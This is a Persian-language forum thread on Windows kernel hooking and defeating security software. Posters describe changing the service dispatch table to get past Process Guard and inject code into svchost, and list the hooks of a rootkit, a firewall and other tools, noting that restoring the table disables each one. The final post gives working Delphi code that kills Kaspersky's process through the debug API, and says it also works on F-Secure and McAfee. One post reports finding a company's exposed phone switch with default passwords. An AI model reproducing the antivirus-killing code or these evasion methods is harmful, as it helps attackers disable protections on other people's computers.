هوشمندی آنتی ویروسی مانند KAV تا جائی قابل تحسینه که میتونه انواع فراخوانی های سطح کاربر و سطح کرنل ( محدود به NDTLL و NTOSKRNL ) توابع حساسی مانند OpenProcess, OpenSCManager ZwSetSystemInformation و امثالهم رو شناسائی و عملکردشون رو زیر نظر بگیره ، اما در مقابل استفاده از نسخه های مجاز توابعی از این دست روی حافظه که توسط برنامه های مجاز ، حتی خود آنتی ویروس ! فراخوانی شده اند چه ؟ در مورد استفاده از موتورهای پیچیده متامورفیک چه ؟ و ...

- یه ضرب المثل قدیمی ایتالیائی میگه دن خوآنو زرو ایتو مالیانو ؛ یعنی وقتی آدمها اغلب خودشون اقدام به خودکشی میکنند ، چرا برای کشتن اونها یه قاتل حرفه ای استخدام کنیم ؟

eWeek چندی پیش طی گزارشی که از چند موسسه امنیتی جمع آوری شده بود اعلام کرد ، بیش از نیمی از کاربران اینترنت از راه حلهای امنیتی مانند فایروال و ضد ویروس و ... استفاده نمیکنند ، بیش از شصت درصد کاربران چیزهای زیادی دربارهء فرهنگ به روز نگهداری نرم افزارها نمیدونن و ... ، فقط کمی بیشتر از سی درصد کاربران ویندوز از اتوآپدیت استفاده میکنند ...

:wise2:

Inprise
شنبه 11 تیر 1384, 10:03 صبح
DiamondCS Process Guard : راه حل امنیتی متداولی برای حفاظت از پروسه های حساس سیستم و پروسه های مورد نظر ، در مقابل دستکاریهای غیر مجاز و سوء استفاده از مجوز است . روش اصلی این راه حل کنترل توابعی مانند zwCreateFile و ... حفاظت از پروسه است و از دو Hook سطح کاربر و سطح کرنل استفاده میکنه . با تشکر از kd و با تغییر دستی SDT ( یا Service Dispatch Table ) موفق شدم کدهای مورد نظرم رو تو کانتکست پروسه ای نظیر svchost اجرا کنم . این راه حل امنیتی برای رده سنی الف مناسب است .

Sebek : چیزی شبیه یک Honeypot است اما برای بررسی دقیق عملکرد پروسه ها و نحوهء تعامل کاربران و سایر پروسه ها با روندهای جاری سیستم . کامپوننت اولش یک درایور است که فعالیت سیستم رو گزارش میکنه و کامپوننت دوم انالایزری است که عملکردهای گزارش شده رو تجزیه و تحلیل میکنه و در واقع عضو اصلی و قابل بررسی است فایل sebek.sys است . Sebek هم روی Native API هائی مانند zwReadFile و امثال اون Hook نصب میکنه و با تغییر دستی SDT میشه از این توابع بدون نگرانی در مورد Hooker استفاده کرد . این راه حل امنیتی برای Teenager ها مناسب است .

توضیح 1 : تا وقتی توسعه گران روشهای حفاظتی ، نمیدونن سیستم عامل مورد نظرشون ، دقیقا" چطور کار میکنه ، چطور در مورد قابلیتها و میزان اطمینان بخش بودن برنامه هایشان تبلیغ میکنند ؟

توضیح 2 : مطالعه در مورد نحوهء عملکرد Hook و تاثیر SDT : نیم ساعت ؛ توسعه کدی برای تست موارد مورد نظر ( فراخوانی توابع Native و Process Injection ) نیم ساعت ؛ بررسی عملکرد نرم افزار مطلوب با تشکر از سافت آیس : یک ساعت ؛ تست : ده دقیقه .

موفق باشید

Inprise
دوشنبه 13 تیر 1384, 11:01 صبح
به نظر میرسه میزان تغییراتی که مایکروسافت روی کرنل NT برای انتشار لانگهورن ایجاد خواهد کرد بیشتر از اونیه که انتظارش میرفت . نوشته های پراکنده کسانی که در حال بررسی دقیق جوانب مختلف لانگهورن قبل از انتشار اون هستند نشون میده با تغییر بعضی از اجزاء حیاتی کرنل ، خصوصا" معماری NDIS و TDI ، احتمالا" اگر سازگاری با مدل قبلی حفظ نشه ، توسعه گران فایروالهای و آنتی ویروسها مجبور به بازنویسی بخشهای مهمی از نرم افزارهاشون خواهند شد .

Inprise
دوشنبه 20 تیر 1384, 08:17 صبح
Microsoft® Windows® Server 2003 SP1 and later versions of Windows for x64-based systems do not allow the kernel to be patched except through authorized Microsoft-originated hot patches. (In this article, "x64" refers to the 64-bit architecture used in AMD64 and Intel Extended Memory 64 Technology systems.)

Kernel-mode drivers that extend or replace kernel services through undocumented means (such as hooking the system service tables) can interfere with other software and affect the stability of the operating system. For x86-based systems, Microsoft discourages such practices but does not prevent them programmatically, because doing so would break compatibility for a significant amount of released software. A similar base of released software does not exist for x64-based systems, so it is possible to add this level of protection to the kernel without breaking compatibility.

Many system structures are protected on x64-based systems, including the system service dispatch tables, the interrupt descriptor table (IDT), and the global descriptor table (GDT). The operating system also does not allow third-party software to allocate memory "on the side" and use it as a kernel stack. If the operating system detects one of these modifications or any other unauthorized patch, it will generate a bug check and shut down the system.

For compatibility with Windows for x64-based systems, drivers must avoid the following practices:

• Modifying system service tables, for example, by hooking KeServiceDescriptorTable

• Modifying the IDT

• Modifying the GDT

• Using kernel stacks that are not allocated by the kernel

• Patching any part of the kernel (detected on AMD64-based systems only)


Drivers for other platforms should avoid these practices, to help ensure stability and reliability of the operating system and a better experience for customers.

If your driver must perform a task that you feel cannot be accomplished without patching the kernel, contact Microsoft Product Support Services or your Microsoft representative.

Inprise
یک شنبه 26 تیر 1384, 10:41 صبح
http://sandsprite.com/CodeStuff/ida_n_olly_plugins.html

Inprise
یک شنبه 22 آبان 1384, 23:12 عصر
آنتی هکر کسپراسکی حتی وقتی در حالت Allow All تنظیم شده پکتهای ICMP دریافتی رو دراپ میکنه ؛ یعنی بهر حال با وجود آنتی هکر ، حتی بدون هیچ فیلتری کسی نمیتونه سیستم مذکور رو پینگ کنه .

Inprise
سه شنبه 08 آذر 1384, 13:56 عصر
روی ویستا ، معماری TDI نه تنها تغییر کرده ، که یک جاهائی قراره کاملا" متفاوت عمل کنه ، و حالا واقعا" ایده ای ندارم که فایروالهای سطح کرنل ، قراره برای ویستا بازنویسی بشن ؟! یا قراره ویستا در انتشار نهائی با مدل قبلی TDI باز هم سازگار باشه ؟ مورد دوم به تقریب خوبی منتفیه ، و سوال جدید این خواهد بود که چرا کمپانیهای توسعه گر فایروال و محصولاتی از این دست که بصورت مستقیم با TDI کار میکنند تابحال سر و صدائی نکردند ؟

Inprise
جمعه 16 دی 1384, 17:51 عصر
شاید همیشه برای تجربه کردن یه اتفاق جالب لازم نباشه از یه تکنیک یا روش یا ابزار عمیق استفاده کرد . پسوردهای پیش فرض . دیگه این روزها حتی کودکان دبستانی هم مفهوم Default Password و ریسک امنیتی تغییر ندادن پسوردهای پیش فرض بخشهای مختلف سیستمهای نرم افزاری-سخت افزاری یک چیزهائی شنیده اند ، اما امروز صبح وقتی مشغول بررسی کیفیت ترافیک تلفن یک کمپانی بودم ( دفتر مرکزی : آیداهو - اندازه : لااقل سیصد کارمند تمام وقت در پنج ایالت ) تصادفا" متوجه یکی از سافت سوئیچهاشون شدم که بدون پیکره بندی امن و با پسوردهای پیش فرض از پشت فایروال شرکت براحتی در دسترس بود .

http://img6.picsplace.to/img6/10/pbx1.JPG

http://img6.picsplace.to/img6/10/pbx2.JPG

http://img6.picsplace.to/img6/10/pbx3.JPG

http://img6.picsplace.to/img6/10/pbx4.JPG

PBX Side این سوئیچ به بیست خط ISDN شهری متصل بود که میتونست بسادگی تماسهای تلفنی ( و دیتا ) با کلیه شهرهای داخل ایالت به رایگان ( هزینه به عهدهء شرکت ) و با هزینه ای نازل به سایر ایالات برقرار کنه ، و البته امکان پخش فایلهای صوتی از پیش ضبط شده نیز موجوده . ( برقراری تماسی که منبع آن مشخص نیست ، این روزها یک تهدید امنیتی جدی برای کشوری مانند ایالات متحده به حساب میاد ؛ پروژه های مانیتورینگ/کنترلی مخابراتی رقمهای میلیاردی دریافت میکنند و دولت فعلی ، حتی مجوز شنود بدون حکم قضائی رو به آژانس امنیت ملی - NSA - داده است )

و حالا جالبه که بدون توجه به میلیونها دلار هزینهء امنیتی ، یک حماقت مدیریتی خیلی خیلی کودکانه ، میتونه چقدر ساده و سهل در دسترس قرار بگیره . بدون تردید ، تروریستهای آینده ، بیشتر از سایرین به اینترنت علاقه مند خواهند بود ...

Inprise
جمعه 14 بهمن 1384, 01:16 صبح
این (http://www.free-codecs.com/download_soft.php?d=1369&s=95)بهترین مقاله ایه که این هفته خوندم ، و جالبه که بخش قابل توجهی از کدهاش رو با دلفی نوشته ؛ در واقع این اولین دفعه ای است که یکی از مقالات صفحه اصلی روتکیت دات کام ، برای PoC از دلفی استفاده میکنه . پیش از این فقط HolyFather مولف روتکیت هکردیفندر جرات کرده بود کاری مشابه این انجام بده .

Inprise
سه شنبه 08 فروردین 1385, 02:42 صبح
وقتی بعضی از مشخصه های هدر تمام فایلهائی که توسط Morphin تولید میشن ( Packed and Encrypted ) همواره ثابته ، چرا موتورهای هیوریستیک احمق اغلب آنتی ویروسها بیشتر از دو دقیقه زمان لازم دارن تا برای یک on-demand scan ساده یک فایل Morphined رو شناسائی کنن ؟

http://img10.picsplace.to/1/morf.JPG

Inprise
چهارشنبه 09 فروردین 1385, 05:51 صبح
و جالبترین خبر هفته این بود که عده ای در حال تلاش برای توسعه کد مخرب برای تگ ها رادیوئی هستند . این تگ ها که از RFID استفاده میکنند عموما" برای شناسائی کتابها و اجناس گران قیمت مغازه ها و ردیابی حیوانات اهلی خانگی و امثال این کاربرد دارن و حالا این کدهای مخرب با آلوده کردن میکروچیپ این تگ میتونن جوابهای متفاوت و غیر واقعی تولید کنن یا حتی از تگ به عنوان منبع ارسال سیگنال استفاده کنند ...



http://www.scmagazine.com/uk/news/article/547193/?n=uk
http://www.theregister.co.uk/2006/03/15/rfid_tags_infected_by_virus

Developer Programmer
چهارشنبه 17 آبان 1385, 21:23 عصر
هر شب، بعد از خستگی روزانه، میام تا پستهات رو بخونم...اما مدتیه که خبری ازت نیست.

Best Programmer
دوشنبه 18 دی 1385, 21:23 عصر
امروز کمی بیکار شدم گفتم چندتا نرم افزار و rootkit را نگاه بندازم:
• Kernel Rootkits
– HE4Hook
• Security Tools
– Sebek Win32
– DiamondCS Process Guard
– Kerio Personal Firewall 4

---------------------------------------------------------------
HE4Hook :
HE4Hook برای مخفی کردن بوسیله hook کردن توابع زیر کار میکنه :
ZwCreateFile 20 --[hooked by unknown at 81222476]--
ZwOpenFile 64 --[hooked by unknown at 812224A8]--
ZwQueryDirectoryFile 7D --[hooked by unknown at 812224D2]--
یا hook کردن جدولهای callback درون فایل درایور سیستم.

به راحتی با بازگرداندن جدول سرویس غیرفعال گردد.
----------------------------------------------------------------
Sebek Win32 :
توابع زیر را hook می کند :
ZwClose 18 SEBEK.sys [F729A092]
ZwCreateFile 20 SEBEK.sys [F729A98C]
ZwCreateKey 23 SEBEK.sys [F729AD10]
ZwEnumerateKey 3C SEBEK.sys [F729AE02]
ZwEnumerateValueKey 3D SEBEK.sys [F729AA50]
ZwOpenFile 64 SEBEK.sys [F729A8E6]
ZwOpenKey 67 SEBEK.sys [F729AD88]
ZwQueryDirectoryFile 7D SEBEK.sys [F729A4CC]
ZwQuerySystemInformation 97 SEBEK.sys [F729A5F0]
ZwReadFile A1 SEBEK.sys [F7299CF0]
ZwRequestWaitReplyPort B0 SEBEK.sys [F7299F14]
ZwSecureConnectPort B8 SEBEK.sys [F7299FE6]
ZwWriteFile ED SEBEK.sys [F7299D48]

این توابع hook میشوند تا
1: sebek.sys را مخفی کنند
2: register key های که در فرایند لود sebek.sys قرار دارند را مخفی کنند.
3: توابع ZwReadFile/ZwWriteFile برای لاگ کردن Cmd.exe

بازگرداندن جدول سرویس کاملا لاگ کردن و مخی سازی sebek را غیر فعال می کند.
----------------------------------------------------------------
DiamondCS Process Guard :
توابع زیر را hook می کند :
ZwCreateFile 20 \??\C:\WINNT\System32\drivers\procguard.sys
[F7392D8A]
ZwCreateKey 23 \??\C:\WINNT\System32\drivers\procguard.sys
[F7391F98]
ZwCreateThread 2E \??\XXXXXX\System32\drivers\procguard.sys
[F73924FC]
ZwOpenFile 64 \??\XXXXXX\System32\drivers\procguard.sys
[F7392C62]
ZwOpenKey 67 \??\XXXXXXT\System32\drivers\procguard.sys
[F7391F64]
ZwOpenProcess 6A \??\XXXXXX\System32\drivers\procguard.sys
[F739289E]
ZwOpenThread 6F \??\XXXXXX\System32\drivers\procguard.sys
[F73926F8]
ZwRequestWaitReplyPort B0 \??\XXXXXX\System32\drivers\procguard.sys
[F7390AE6]
ZwSetValueKey D7 \??\XXXXXX\System32\drivers\procguard.sys
[F739224E]
ZwWriteVirtualMemory F0 \??\XXXXXX\System32\drivers\procguard.sys

بازگرداندن جدول سرویس فرایند جلوگیری terminate را از بین می برد :D
----------------------------------------------------------------
Kerio Personal Firewall 4
توابع زیر را hook می کند
ZwCreateFile 20 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3830]
ZwCreateProcess 29 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3380]
ZwCreateThread 2E \SystemRoot\system32\drivers\fwdrv.sys [BFBD35E0]
ZwResumeThread B5 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3630]
بازگرداندن جدول سرویس این فایروال را غیرفعال می سازد.

البته همین جا از آقای ایپرایز که واقعا باعث پیشرفت من همیشه شده اند تشکر می کنم.

jalilmousavi
سه شنبه 23 بهمن 1386, 08:43 صبح
بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛ :wise1:


Function DebugKillProcess(ProcessId: dword): boolean;
var
pHandle: dword;
myPID: dword;
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
r: dword;
begin
Result := false;
myPID := GetCurrentProcessId();
if not EnableDebugPrivilege() then Exit;
if DbgUiConnectToDbg() &lt;> STATUS_SUCCESS then Exit;
pHandle := OpenProcessEx(ProcessId);
if DbgUiDebugActiveProcess(pHandle) &lt;> STATUS_SUCCESS then Exit;
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo = nil then Exit;
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ProcessId = myPID) and
(HandlesInfo^.Information[r].ObjectTypeNumber = $8)
then begin
CloseHandle(HandlesInfo^.Information[r].Handle);
Result := true;
break;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
end;


DebugKillProcess(GetProcessId('kavmm.exe'));

با اینکه بقیه آنتی ویروسها ارزش صرف چنین وقت ی رو ندارند لیکن روی F-Secure و MCAfee هم جواب داد ؛ احتمالا" بر و بچه های KAV باید یک دوجین API دیگه رو هم به لیست Interceptor شون اضافه کنند ، چون لغو عملکرد ExitProcess و ZwTerminateProcess به تنهائی مشکلی رو حل نمیکنه .

:wise2:
با تشکر لطفا بگوئید که تایپ PSYSTEM_HANDLE_INFORMATION_EX از کجا آمده است.